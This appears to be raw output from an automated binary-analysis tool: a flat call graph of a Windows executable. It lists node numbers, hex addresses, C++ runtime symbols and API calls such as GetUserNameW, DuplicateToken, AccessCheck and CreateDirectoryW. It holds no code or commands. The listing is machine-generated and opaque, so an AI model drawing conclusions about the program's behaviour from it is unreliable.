873692 99098->99099 99100 872380 30 API calls 99099->99100 99101 8736a1 messages 99100->99101 99102 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99101->99102 99103 87388c GetModuleFileNameW 99102->99103 99104 8919c0 99103->99104 99105 8919e2 99104->99105 99105->99105 99106 8973b0 SimpleUString::operator= 28 API calls 99105->99106 99107 88cc9b 99106->99107 99108 873eb0 GetUserNameW 99107->99108 99109 873f20 99108->99109 99109->99109 99110 8973b0 SimpleUString::operator= 28 API calls 99109->99110 99111 873f42 99110->99111 99112 8973b0 SimpleUString::operator= 28 API calls 99111->99112 99113 873f6e 99112->99113 99114 89ac60 28 API calls 99113->99114 99115 873fa6 99114->99115 99116 891f60 collate 28 API calls 99115->99116 99117 873fcf messages 99116->99117 99118 874075 99117->99118 99120 874052 messages 99117->99120 99122 9158b2 messages 26 API calls 99118->99122 99119 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99121 874071 99119->99121 99120->99119 99124 873d50 GetSystemDirectoryW 99121->99124 99123 87407a 99122->99123 99125 873dd0 99124->99125 99126 8973b0 SimpleUString::operator= 28 API calls 99125->99126 99127 873dee 99126->99127 99128 8973b0 SimpleUString::operator= 28 API calls 99127->99128 99129 873e3f 99128->99129 99130 891930 26 API calls 99129->99130 99131 873e4d 99130->99131 99132 873e7f messages 99131->99132 99134 873ea5 99131->99134 99133 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99132->99133 99135 873ea1 99133->99135 99136 9158b2 messages 26 API calls 99134->99136 99138 891930 99135->99138 99137 873eaa 99136->99137 99139 891967 messages 99138->99139 99140 89193e 99138->99140 99139->98068 99140->99139 99141 9158b2 messages 26 API calls 99140->99141 99142 8919b0 99141->99142 99144 8649cb 99143->99144 99145 8649ec messages 99143->99145 99144->99145 99146 9158b2 messages 26 API calls 99144->99146 99145->98072 99147 864a12 99146->99147 100902 8ed2f0 99147->100902 99151 89a330 99150->99151 99151->99151 100930 891670 99151->100930 99153 89a34f 100939 898860 99153->100939 99155 89a361 99156 898860 28 API calls 99155->99156 99157 88ccda 99156->99157 99158 89a3a0 99157->99158 99159 89a3b5 99158->99159 99160 898860 28 API calls 99159->99160 99161 88ccf0 99160->99161 99162 89a260 99161->99162 99163 89a271 99162->99163 99163->99163 99164 898860 28 API calls 99163->99164 99165 88cd06 99164->99165 99165->98083 99167 891ba0 _MREFOpen@16 28 API calls 99166->99167 99170 89acad 99167->99170 99168 88cdf5 99171 8996d0 99168->99171 99170->99168 100954 89c1f0 99170->100954 99172 899730 99171->99172 99172->99172 99173 891ba0 _MREFOpen@16 28 API calls 99172->99173 99174 899749 99173->99174 99175 8920a0 28 API calls 99174->99175 99176 899751 99175->99176 99179 89976c SimpleUString::operator= 99176->99179 100967 89c330 28 API calls 4 library calls 99176->100967 99178 8997b2 99178->98106 99179->98106 99181 8845b0 DuplicateToken 99180->99181 99182 884584 GetLastError 99180->99182 99184 8845c7 AllocateAndInitializeSid 99181->99184 99186 8846ea 99181->99186 99183 884595 GetCurrentProcess OpenProcessToken 99182->99183 99182->99186 99183->99181 99183->99186 99185 8845f2 LocalAlloc 99184->99185 99184->99186 99185->99186 99187 884607 InitializeSecurityDescriptor 99185->99187 99188 8846f9 LocalFree 99186->99188 99189 8846fc 99186->99189 99187->99186 99190 884618 GetLengthSid LocalAlloc 99187->99190 99188->99189 99191 884703 LocalFree 99189->99191 99192 884706 99189->99192 99190->99186 99193 884638 InitializeAcl 99190->99193 99191->99192 99194 88470d FreeSid 99192->99194 99195 884714 99192->99195 99193->99186 99198 88464a AddAccessAllowedAce 99193->99198 99194->99195 99196 884721 CloseHandle 99195->99196 99197 884724 99195->99197 99196->99197 99199 88472b CloseHandle 99197->99199 99200 88472e 99197->99200 99198->99186 99201 884662 SetSecurityDescriptorDacl 99198->99201 99199->99200 99202 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99200->99202 99201->99186 99203 884676 SetSecurityDescriptorGroup SetSecurityDescriptorOwner IsValidSecurityDescriptor 99201->99203 99204 88473c 99202->99204 99203->99186 99205 88469f AccessCheck 99203->99205 99204->98139 99205->99186 99206 8846e1 99205->99206 99206->99186 99208 891a56 99207->99208 99209 891a5d 99208->99209 100968 897ca0 28 API calls 2 library calls 99208->100968 99209->98142 99211 891a91 _LStrxfrm 99211->98142 99213 89a2d0 28 API calls 99212->99213 99214 873911 99213->99214 99214->99214 99215 8973b0 SimpleUString::operator= 28 API calls 99214->99215 99216 87395e 99215->99216 99216->99216 99217 898860 28 API calls 99216->99217 99218 873983 99217->99218 99219 898860 28 API calls 99218->99219 99220 8739c8 messages 99219->99220 99221 873d38 99220->99221 99222 873a83 messages 99220->99222 99223 9158b2 messages 26 API calls 99221->99223 99224 8973b0 SimpleUString::operator= 28 API calls 99222->99224 99225 873d3d 99223->99225 99227 873aec 99224->99227 99226 9158b2 messages 26 API calls 99225->99226 99228 873d42 99226->99228 99229 898860 28 API calls 99227->99229 99231 9158b2 messages 26 API calls 99228->99231 99230 873b02 99229->99230 99230->99225 99232 873b66 GetFileAttributesW 99230->99232 99234 873b5c messages 99230->99234 99233 873d47 99231->99233 99235 873b82 CreateDirectoryW 99232->99235 99236 873bc0 GetFileAttributesW 99232->99236 99234->99232 99237 873b95 CreateDirectoryW 99235->99237 99238 873b9c CreateDirectoryW 99235->99238 99239 873bcc CreateDirectoryW 99236->99239 99246 873c01 messages 99236->99246 99237->99238 99240 873bb6 CreateDirectoryW 99238->99240 99241 873ba3 CreateDirectoryW CreateDirectoryW CreateDirectoryW 99238->99241 99242 873bea 99239->99242 99243 873bd9 CreateDirectoryW CreateDirectoryW 99239->99243 99240->99246 99241->99246 99244 873bf0 GetFileAttributesW 99242->99244 99243->99244 99245 873bfc CreateDirectoryW 99244->99245 99244->99246 99245->99246 99246->99228 99247 873d13 messages 99246->99247 99248 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99247->99248 99249 873d34 99248->99249 99249->98147 99251 8973b0 SimpleUString::operator= 28 API calls 99250->99251 99252 86936f 99251->99252 99253 8973b0 SimpleUString::operator= 28 API calls 99252->99253 99254 869395 99253->99254 99255 8693b1 99254->99255 99256 8973b0 SimpleUString::operator= 28 API calls 99254->99256 99257 891a30 28 API calls 99255->99257 99256->99255 99258 8693bd 99257->99258 99259 891a30 28 API calls 99258->99259 99260 8693d0 99259->99260 100969 89bf20 99260->100969 99262 89a2d0 28 API calls 99263 869560 99262->99263 99265 898860 28 API calls 99263->99265 99264 8693f8 SimpleUString::operator= 99266 869441 SimpleUString::operator= 99264->99266 99267 86aca8 99264->99267 99281 869541 messages 99264->99281 99268 86957d 99265->99268 99273 89a2d0 28 API calls 99266->99273 101085 898810 28 API calls SimpleUString::operator= 99267->101085 99271 898860 28 API calls 99268->99271 99270 86acad 99272 9158b2 messages 26 API calls 99270->99272 99277 8695d1 messages 99271->99277 99274 86acb2 99272->99274 99279 869495 messages 99273->99279 99275 9158b2 messages 26 API calls 99274->99275 99276 86acb7 99275->99276 101086 898810 28 API calls SimpleUString::operator= 99276->101086 99277->99274 99290 8696aa Hash messages 99277->99290 99278 8973b0 SimpleUString::operator= 28 API calls 99282 869ac7 99278->99282 99279->99270 99279->99281 99281->99262 99284 869b11 99282->99284 99286 8973b0 SimpleUString::operator= 28 API calls 99282->99286 99283 86acbc 99285 9158b2 messages 26 API calls 99283->99285 100985 89a570 99284->100985 99288 86acc1 99285->99288 99289 869b02 99286->99289 99292 9158b2 messages 26 API calls 99288->99292 99293 8973b0 SimpleUString::operator= 28 API calls 99289->99293 99294 894290 132 API calls 99290->99294 99319 869a5c std::ios_base::_Ios_base_dtor 99290->99319 99296 86acc6 99292->99296 99293->99284 99326 86972e 99294->99326 99295 898860 28 API calls 99297 869b3b 99295->99297 99298 9158b2 messages 26 API calls 99296->99298 99297->99296 99306 869bab messages 99297->99306 99299 86accb 99298->99299 99300 9158b2 messages 26 API calls 99299->99300 99304 86acd0 99300->99304 99301 8699c2 101060 898190 99301->101060 99303 89a570 28 API calls 99308 869bfc 99303->99308 99305 8699d1 99309 91252a Concurrency::details::_CancellationTokenState::_RegisterCallback 93 API calls 99305->99309 99306->99303 99321 869be3 messages 99306->99321 99311 898860 28 API calls 99308->99311 99309->99301 99312 869a2a 101077 894f40 99312->101077 99313 89a570 28 API calls 99318 869ce8 99313->99318 99314 86997b 99314->99288 99323 8699a9 messages 99314->99323 99322 898860 28 API calls 99318->99322 99319->99278 99321->99313 99323->99301 101041 8980c0 99323->101041 99325 86986a 99325->99276 99325->99314 99329 869901 99325->99329 99326->99323 99326->99325 101039 8970e0 28 API calls 3 library calls 99326->101039 99331 8973b0 SimpleUString::operator= 28 API calls 99329->99331 99333 869927 99331->99333 101040 91248c 22 API calls __dosmaperr 99333->101040 99336 869938 99336->99283 99339 86996b messages 99336->99339 99339->99314 99562 876604 99561->99562 99563 876588 99561->99563 99565 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99562->99565 99563->99562 99564 876590 99563->99564 99566 8765f0 99564->99566 99569 87659c 99564->99569 99567 876614 99565->99567 99568 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99566->99568 99567->98146 99570 876600 99568->99570 99571 8765dc 99569->99571 99573 8765a8 99569->99573 99570->98146 99572 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99571->99572 99574 8765ec 99572->99574 99575 8765c8 99573->99575 99577 8765b4 99573->99577 99574->98146 99576 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99575->99576 99578 8765d8 99576->99578 99579 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99577->99579 99578->98146 99580 8765c4 99579->99580 99580->98146 99582 8921fd 99581->99582 99583 88d09b 99581->99583 99584 891f60 collate 28 API calls 99582->99584 99585 868ae0 99583->99585 99584->99583 99586 868b37 99585->99586 99588 868b4c 99585->99588 101520 8d9750 64 API calls 99586->101520 99589 891670 28 API calls 99588->99589 99590 868be7 99589->99590 99591 868c94 99590->99591 101521 8970e0 28 API calls 3 library calls 99590->101521 99592 868cec 99591->99592 101522 911cb8 71 API calls 99591->101522 99593 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99592->99593 99595 868d07 99593->99595 99595->98165 101523 89e730 99597->101523 99599 88d11e 99599->98175 99606 874d34 99600->99606 99601 874d3c 99602 874dcf 99601->99602 99603 874dbf NetApiBufferFree 99601->99603 99604 874de4 99602->99604 99605 874de1 NetApiBufferFree 99602->99605 99603->99602 99607 8973b0 SimpleUString::operator= 28 API calls 99604->99607 99605->99604 99606->99601 99606->99602 99606->99606 99609 8973b0 SimpleUString::operator= 28 API calls 99606->99609 99608 874dfa 99607->99608 99610 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 99608->99610 99609->99606 100255->98041 100304 915b74 ___unDNameEx 100303->100304 100305 915b8c 100304->100305 100308 915bb8 100304->100308 100306 916133 __Stollx 20 API calls 100305->100306 100307 915b91 100306->100307 100370 9158a2 26 API calls ___std_exception_copy 100307->100370 100310 915b9c std::_Locinfo::_Locinfo_ctor 100308->100310 100354 91227d EnterCriticalSection 100308->100354 100310->99026 100312 915bcb 100355 914a75 100312->100355 100314 915bfe 100371 915c2f LeaveCriticalSection std::_Xfsopen 100314->100371 100316 915bd7 100316->100314 100363 91559a 100316->100363 100319 8920b0 100318->100319 100319->100319 100320 8920c7 SimpleUString::operator= 100319->100320 100382 89c330 28 API calls 4 library calls 100319->100382 100320->99026 100322 892102 100322->99026 100324 91548b ___unDNameEx 100323->100324 100325 9154b1 100324->100325 100326 915499 100324->100326 100383 91c98b EnterCriticalSection 100325->100383 100327 916133 __Stollx 20 API calls 100326->100327 100329 91549e 100327->100329 100419 9158a2 26 API calls ___std_exception_copy 100329->100419 100330 9154be 100384 91540c 100330->100384 100334 9154d0 100336 916133 __Stollx 20 API calls 100334->100336 100335 9154dd 100390 91252a 100335->100390 100339 9154d5 100336->100339 100338 9154a9 std::_Locinfo::_Locinfo_ctor 100338->99027 100420 91554a LeaveCriticalSection std::_Lockit::~_Lockit 100339->100420 100340 9154e3 100341 916133 __Stollx 20 API calls 100340->100341 100343 9154f2 100341->100343 100344 916133 __Stollx 20 API calls 100343->100344 100345 9154f9 100344->100345 100403 9273c1 100345->100403 100348 915526 100350 916133 __Stollx 20 API calls 100348->100350 100349 916133 __Stollx 20 API calls 100351 915518 100349->100351 100350->100339 100351->100348 100352 91551d 100351->100352 100353 916133 __Stollx 20 API calls 100352->100353 100353->100339 100354->100312 100356 914aee 100355->100356 100357 914a88 100355->100357 100356->100316 100372 923e14 100357->100372 100359 914a8e 100359->100356 100360 916133 __Stollx 20 API calls 100359->100360 100361 914ae3 100360->100361 100379 9158a2 26 API calls ___std_exception_copy 100361->100379 100364 91555e 100363->100364 100365 916133 __Stollx 20 API calls 100364->100365 100368 91557f __fread_nolock 100364->100368 100366 91556f 100365->100366 100381 9158a2 26 API calls ___std_exception_copy 100366->100381 100368->100316 100369 91557a 100369->100316 100370->100310 100371->100310 100373 923e20 100372->100373 100374 923e35 100372->100374 100375 916133 __Stollx 20 API calls 100373->100375 100374->100359 100376 923e25 100375->100376 100380 9158a2 26 API calls ___std_exception_copy 100376->100380 100378 923e30 100378->100359 100379->100356 100380->100378 100381->100369 100382->100322 100383->100330 100385 91542b 100384->100385 100389 91543a 100385->100389 100421 926fd5 29 API calls 3 library calls 100385->100421 100387 915455 100422 9254d5 100387->100422 100389->100334 100389->100335 100391 912536 ___unDNameEx 100390->100391 100392 912547 100391->100392 100393 91255c 100391->100393 100394 916133 __Stollx 20 API calls 100392->100394 100402 912557 std::_Xfsopen std::_Locinfo::_Locinfo_ctor 100393->100402 100428 91227d EnterCriticalSection 100393->100428 100395 91254c 100394->100395 100445 9158a2 26 API calls ___std_exception_copy 100395->100445 100398 912578 100429 9124b4 100398->100429 100400 912583 100446 9125a0 LeaveCriticalSection std::_Xfsopen 100400->100446 100402->100340 100404 9273d4 100403->100404 100405 92744b 100404->100405 100407 9273e2 WaitForSingleObject 100404->100407 100406 916133 __Stollx 20 API calls 100405->100406 100417 91550c 100406->100417 100408 92740a GetLastError 100407->100408 100409 9273ee GetExitCodeProcess 100407->100409 100410 927415 100408->100410 100411 92742d 100408->100411 100409->100408 100415 9273fd 100409->100415 100412 916133 __Stollx 20 API calls 100410->100412 100667 9160fd 20 API calls 2 library calls 100411->100667 100414 92741a 100412->100414 100418 916120 __dosmaperr 20 API calls 100414->100418 100416 927440 CloseHandle 100415->100416 100415->100417 100416->100417 100417->100348 100417->100349 100418->100415 100419->100338 100420->100338 100421->100387 100423 9254e0 HeapFree 100422->100423 100424 925509 __dosmaperr 100422->100424 100423->100424 100425 9254f5 100423->100425 100424->100389 100426 916133 __Stollx 18 API calls 100425->100426 100427 9254fb GetLastError 100426->100427 100427->100424 100428->100398 100430 9124c1 100429->100430 100431 9124d6 100429->100431 100432 916133 __Stollx 20 API calls 100430->100432 100436 9124d1 std::_Xfsopen 100431->100436 100447 9122a5 100431->100447 100433 9124c6 100432->100433 100472 9158a2 26 API calls ___std_exception_copy 100433->100472 100436->100400 100440 923e14 __fread_nolock 26 API calls 100441 9124f8 100440->100441 100457 92604d 100441->100457 100444 9254d5 _free 20 API calls 100444->100436 100445->100402 100446->100402 100448 9122bd 100447->100448 100450 9122b9 100447->100450 100449 923e14 __fread_nolock 26 API calls 100448->100449 100448->100450 100451 9122dd 100449->100451 100453 9255af 100450->100453 100473 925cac 100451->100473 100454 9255c5 100453->100454 100456 9124f2 100453->100456 100455 9254d5 _free 20 API calls 100454->100455 100454->100456 100455->100456 100456->100440 100458 926071 100457->100458 100459 92605c 100457->100459 100460 9260ac 100458->100460 100464 926098 100458->100464 100461 916120 __dosmaperr 20 API calls 100459->100461 100462 916120 __dosmaperr 20 API calls 100460->100462 100463 926061 100461->100463 100465 9260b1 100462->100465 100466 916133 __Stollx 20 API calls 100463->100466 100620 926025 100464->100620 100468 916133 __Stollx 20 API calls 100465->100468 100469 9124fe 100466->100469 100470 9260b9 100468->100470 100469->100436 100469->100444 100623 9158a2 26 API calls ___std_exception_copy 100470->100623 100472->100436 100474 925cb8 ___unDNameEx 100473->100474 100475 925cc0 100474->100475 100476 925cd8 100474->100476 100552 916120 100475->100552 100478 925d76 100476->100478 100482 925d0d 100476->100482 100480 916120 __dosmaperr 20 API calls 100478->100480 100483 925d7b 100480->100483 100481 916133 __Stollx 20 API calls 100492 925ccd std::_Locinfo::_Locinfo_ctor 100481->100492 100498 92d314 EnterCriticalSection 100482->100498 100485 916133 __Stollx 20 API calls 100483->100485 100487 925d83 100485->100487 100486 925d13 100488 925d44 100486->100488 100489 925d2f 100486->100489 100556 9158a2 26 API calls ___std_exception_copy 100487->100556 100499 925d97 100488->100499 100491 916133 __Stollx 20 API calls 100489->100491 100494 925d34 100491->100494 100492->100450 100496 916120 __dosmaperr 20 API calls 100494->100496 100495 925d3f 100555 925d6e LeaveCriticalSection __wsopen_s 100495->100555 100496->100495 100498->100486 100500 925dc5 100499->100500 100538 925dbe 100499->100538 100501 925de8 100500->100501 100502 925dc9 100500->100502 100505 925e39 100501->100505 100507 925e1c 100501->100507 100504 916120 __dosmaperr 20 API calls 100502->100504 100503 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100506 925f9f 100503->100506 100508 925dce 100504->100508 100510 925e4f 100505->100510 100557 929765 100505->100557 100506->100495 100509 916120 __dosmaperr 20 API calls 100507->100509 100511 916133 __Stollx 20 API calls 100508->100511 100512 925e21 100509->100512 100560 92593c 100510->100560 100514 925dd5 100511->100514 100517 916133 __Stollx 20 API calls 100512->100517 100574 9158a2 26 API calls ___std_exception_copy 100514->100574 100521 925e29 100517->100521 100519 925e96 100525 925ef0 WriteFile 100519->100525 100526 925eaa 100519->100526 100520 925e5d 100522 925e83 100520->100522 100523 925e61 100520->100523 100575 9158a2 26 API calls ___std_exception_copy 100521->100575 100577 92571c 71 API calls 3 library calls 100522->100577 100527 925f57 100523->100527 100576 9258cf GetLastError WriteConsoleW CreateFileW __wsopen_s 100523->100576 100529 925f13 GetLastError 100525->100529 100534 925e79 100525->100534 100530 925eb2 100526->100530 100531 925ee0 100526->100531 100527->100538 100539 916133 __Stollx 20 API calls 100527->100539 100529->100534 100535 925ed0 100530->100535 100536 925eb7 100530->100536 100567 9259b2 100531->100567 100534->100527 100534->100538 100543 925f33 100534->100543 100579 925b7f 8 API calls 2 library calls 100535->100579 100536->100527 100540 925ec0 100536->100540 100538->100503 100542 925f7c 100539->100542 100578 925a91 7 API calls 2 library calls 100540->100578 100541 925ece 100541->100534 100547 916120 __dosmaperr 20 API calls 100542->100547 100545 925f3a 100543->100545 100546 925f4e 100543->100546 100549 916133 __Stollx 20 API calls 100545->100549 100580 9160fd 20 API calls 2 library calls 100546->100580 100547->100538 100550 925f3f 100549->100550 100551 916120 __dosmaperr 20 API calls 100550->100551 100551->100538 100619 924b6d 20 API calls 2 library calls 100552->100619 100554 916125 100554->100481 100555->100492 100556->100492 100581 9296cc 100557->100581 100590 9303b7 100560->100590 100562 925951 100562->100519 100562->100520 100563 92594c 100563->100562 100599 924ae9 GetLastError 100563->100599 100565 925974 100565->100562 100566 925992 GetConsoleMode 100565->100566 100566->100562 100571 9259c1 __wsopen_s 100567->100571 100568 925a74 100570 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100568->100570 100569 925a33 WriteFile 100569->100571 100572 925a76 GetLastError 100569->100572 100573 925a8d 100570->100573 100571->100568 100571->100569 100572->100568 100573->100534 100574->100538 100575->100538 100576->100534 100577->100534 100578->100541 100579->100541 100580->100538 100582 92d591 __wsopen_s 26 API calls 100581->100582 100583 9296de 100582->100583 100584 9296e6 100583->100584 100585 9296f7 SetFilePointerEx 100583->100585 100588 916133 __Stollx 20 API calls 100584->100588 100586 9296eb 100585->100586 100587 92970f GetLastError 100585->100587 100586->100510 100589 9160fd __dosmaperr 20 API calls 100587->100589 100588->100586 100589->100586 100591 9303c4 100590->100591 100593 9303d1 100590->100593 100592 916133 __Stollx 20 API calls 100591->100592 100594 9303c9 100592->100594 100595 9303dd 100593->100595 100596 916133 __Stollx 20 API calls 100593->100596 100594->100563 100595->100563 100597 9303fe 100596->100597 100598 9158a2 ___std_exception_copy 26 API calls 100597->100598 100598->100594 100600 924b05 100599->100600 100601 924aff 100599->100601 100603 925478 __dosmaperr 20 API calls 100600->100603 100605 924b54 SetLastError 100600->100605 100602 923758 __dosmaperr 11 API calls 100601->100602 100602->100600 100604 924b17 100603->100604 100606 924b1f 100604->100606 100607 9237ae __dosmaperr 11 API calls 100604->100607 100605->100565 100608 9254d5 _free 20 API calls 100606->100608 100609 924b34 100607->100609 100610 924b25 100608->100610 100609->100606 100611 924b3b 100609->100611 100612 924b60 SetLastError 100610->100612 100613 92495b __dosmaperr 20 API calls 100611->100613 100614 91d1f9 _abort 61 API calls 100612->100614 100615 924b46 100613->100615 100617 924b6c 100614->100617 100616 9254d5 _free 20 API calls 100615->100616 100618 924b4d 100616->100618 100618->100605 100618->100612 100619->100554 100624 925fa3 100620->100624 100622 926049 100622->100469 100623->100469 100625 925faf ___unDNameEx 100624->100625 100635 92d314 EnterCriticalSection 100625->100635 100627 925fbd 100628 925fe4 100627->100628 100629 925fef 100627->100629 100636 9260cc 100628->100636 100631 916133 __Stollx 20 API calls 100629->100631 100632 925fea 100631->100632 100651 926019 LeaveCriticalSection __wsopen_s 100632->100651 100634 92600c std::_Locinfo::_Locinfo_ctor 100634->100622 100635->100627 100652 92d591 100636->100652 100638 9260e2 100665 92d500 21 API calls 3 library calls 100638->100665 100640 9260dc 100640->100638 100642 92d591 __wsopen_s 26 API calls 100640->100642 100650 926114 100640->100650 100641 92613a 100649 92615c 100641->100649 100666 9160fd 20 API calls 2 library calls 100641->100666 100644 92610b 100642->100644 100643 92d591 __wsopen_s 26 API calls 100645 926120 CloseHandle 100643->100645 100648 92d591 __wsopen_s 26 API calls 100644->100648 100645->100638 100646 92612c GetLastError 100645->100646 100646->100638 100648->100650 100649->100632 100650->100638 100650->100643 100651->100634 100653 92d59e 100652->100653 100655 92d5b3 100652->100655 100654 916120 __dosmaperr 20 API calls 100653->100654 100657 92d5a3 100654->100657 100656 916120 __dosmaperr 20 API calls 100655->100656 100660 92d5d8 100655->100660 100658 92d5e3 100656->100658 100659 916133 __Stollx 20 API calls 100657->100659 100661 916133 __Stollx 20 API calls 100658->100661 100662 92d5ab 100659->100662 100660->100640 100663 92d5eb 100661->100663 100662->100640 100664 9158a2 ___std_exception_copy 26 API calls 100663->100664 100664->100662 100665->100641 100666->100649 100667->100415 100668->99035 100670 89e9b7 100669->100670 100671 89e906 100669->100671 100678 898810 28 API calls SimpleUString::operator= 100670->100678 100676 89e918 SimpleUString::operator= _LStrxfrm 100671->100676 100677 89ff50 28 API calls 4 library calls 100671->100677 100674 89e9bc 100675 89e9b0 100675->99040 100676->99040 100677->100675 100678->100674 100680 8923a0 _MREFOpen@16 28 API calls 100679->100680 100681 8723db 100680->100681 100682 867fe0 28 API calls 100681->100682 100683 87244f 100682->100683 100765 891ba0 100683->100765 100685 87249f 100687 8724c7 SimpleUString::operator= 100685->100687 100816 89c330 28 API calls 4 library calls 100685->100816 100688 8920a0 28 API calls 100687->100688 100689 872524 Hash messages 100688->100689 100690 872f22 100689->100690 100777 872f40 100689->100777 100692 9158b2 messages 26 API calls 100690->100692 100694 872f27 100692->100694 100696 9158b2 messages 26 API calls 100694->100696 100698 872f2c 100696->100698 100697 8725b0 Hash 100701 8f101a collate 22 API calls 100697->100701 100699 9158b2 messages 26 API calls 100698->100699 100700 872f31 100699->100700 100818 898810 28 API calls SimpleUString::operator= 100700->100818 100703 8725ca 100701->100703 100705 8a4ee0 28 API calls 100703->100705 100704 872f36 100706 8725e8 100705->100706 100787 8abec0 100706->100787 100708 87261b Hash 100709 8f101a collate 22 API calls 100708->100709 100710 872636 100709->100710 100711 8a4ee0 28 API calls 100710->100711 100712 87265b 100711->100712 100713 8676c0 30 API calls 100712->100713 100714 87268d 100713->100714 100715 891f60 collate 28 API calls 100714->100715 100716 8726a0 100715->100716 100717 867fe0 28 API calls 100716->100717 100718 8726b1 messages 100717->100718 100718->100694 100719 872786 100718->100719 100720 872d88 100718->100720 100719->100700 100722 867fe0 28 API calls 100719->100722 100721 891f60 collate 28 API calls 100720->100721 100729 872a49 messages 100721->100729 100723 8727ae 100722->100723 100724 891ba0 _MREFOpen@16 28 API calls 100723->100724 100725 872804 100724->100725 100727 87282c SimpleUString::operator= 100725->100727 100817 89c330 28 API calls 4 library calls 100725->100817 100728 8920a0 28 API calls 100727->100728 100732 872889 Hash messages 100728->100732 100729->100700 100730 872f1d 100729->100730 100733 872cff messages 100729->100733 100731 9158b2 messages 26 API calls 100730->100731 100731->100690 100732->100698 100736 872f40 30 API calls 100732->100736 100734 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100733->100734 100735 872d22 100734->100735 100735->99057 100737 8728fa 100736->100737 100738 8a72c0 30 API calls 100737->100738 100739 872915 Hash 100738->100739 100740 8f101a collate 22 API calls 100739->100740 100741 87292f 100740->100741 100742 8a4ee0 28 API calls 100741->100742 100743 87294d 100742->100743 100744 8abec0 30 API calls 100743->100744 100745 872980 Hash 100744->100745 100746 8f101a collate 22 API calls 100745->100746 100747 87299b 100746->100747 100748 8a4ee0 28 API calls 100747->100748 100749 8729c0 100748->100749 100750 8676c0 30 API calls 100749->100750 100751 8729f2 100750->100751 100752 867fe0 28 API calls 100751->100752 100753 872a07 100752->100753 100753->100729 100754 891f60 collate 28 API calls 100753->100754 100754->100729 100758 897400 100755->100758 100760 8973ce SimpleUString::operator= 100755->100760 100756 8974bf 100901 89e330 28 API calls SimpleUString::operator= 100756->100901 100758->100756 100900 897ca0 28 API calls 2 library calls 100758->100900 100760->99083 100762 897453 _LStrxfrm 100763 89749e messages 100762->100763 100764 9158b2 messages 26 API calls 100762->100764 100763->99083 100764->100756 100766 891cab messages _LStrxfrm 100765->100766 100769 891bbb 100765->100769 100766->100685 100767 891c3d _LStrxfrm 100767->100766 100776 9158b2 messages 26 API calls 100767->100776 100768 891d38 100819 89e330 28 API calls SimpleUString::operator= 100768->100819 100769->100766 100769->100767 100769->100768 100772 891c2c 100769->100772 100773 891c56 100769->100773 100774 8f101a collate 22 API calls 100772->100774 100773->100767 100775 8f101a collate 22 API calls 100773->100775 100774->100767 100775->100767 100776->100768 100820 86cae0 100777->100820 100780 8a4ee0 28 API calls 100781 872fa0 100780->100781 100782 896e00 30 API calls 100781->100782 100783 872595 100782->100783 100784 8a72c0 100783->100784 100829 89a090 100784->100829 100786 8a732c 100786->100697 100841 8ac470 100787->100841 100790 8f101a collate 22 API calls 100791 8abf29 100790->100791 100792 8abf42 100791->100792 100793 8a4ee0 28 API calls 100791->100793 100794 8ac470 28 API calls 100792->100794 100793->100792 100795 8abf7a 100794->100795 100844 8abcc0 100795->100844 100797 8abfd9 100847 8abc00 100797->100847 100801 8ac01f 100802 8f101a collate 22 API calls 100801->100802 100803 8ac042 100802->100803 100804 8ac05b 100803->100804 100805 8a4ee0 28 API calls 100803->100805 100864 8acbc0 100804->100864 100805->100804 100807 8ac08f 100885 8abd80 100807->100885 100809 8ac0a7 100810 8abcc0 22 API calls 100809->100810 100811 8ac0c3 100810->100811 100812 8abc00 22 API calls 100811->100812 100813 8ac0d3 100812->100813 100814 8ade10 30 API calls 100813->100814 100815 8ac0db 100814->100815 100815->100708 100816->100687 100817->100727 100818->100704 100821 8a4ee0 28 API calls 100820->100821 100822 86cb17 100821->100822 100823 8a4ee0 28 API calls 100822->100823 100824 86cb21 100823->100824 100825 8a4ee0 28 API calls 100824->100825 100826 86cb85 100825->100826 100827 8a4ee0 28 API calls 100826->100827 100828 86cbc4 100827->100828 100828->100780 100830 89a0cf 100829->100830 100831 8f101a collate 22 API calls 100830->100831 100833 89a0df Hash 100831->100833 100832 89a148 100836 89a16a 100832->100836 100840 862140 26 API calls 4 library calls 100832->100840 100833->100832 100839 8c86b0 24 API calls 3 library calls 100833->100839 100837 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100836->100837 100838 89a1eb 100837->100838 100838->100786 100839->100832 100840->100836 100842 8a4ee0 28 API calls 100841->100842 100843 8abf0e 100842->100843 100843->100790 100845 8f101a collate 22 API calls 100844->100845 100846 8abcef 100845->100846 100846->100797 100848 8f101a collate 22 API calls 100847->100848 100849 8abc32 100848->100849 100850 8ade10 100849->100850 100851 8ade57 100850->100851 100852 8ade96 100851->100852 100854 8ade69 100851->100854 100853 892330 _MREFOpen@16 28 API calls 100852->100853 100855 8adea3 100853->100855 100889 8af170 100854->100889 100893 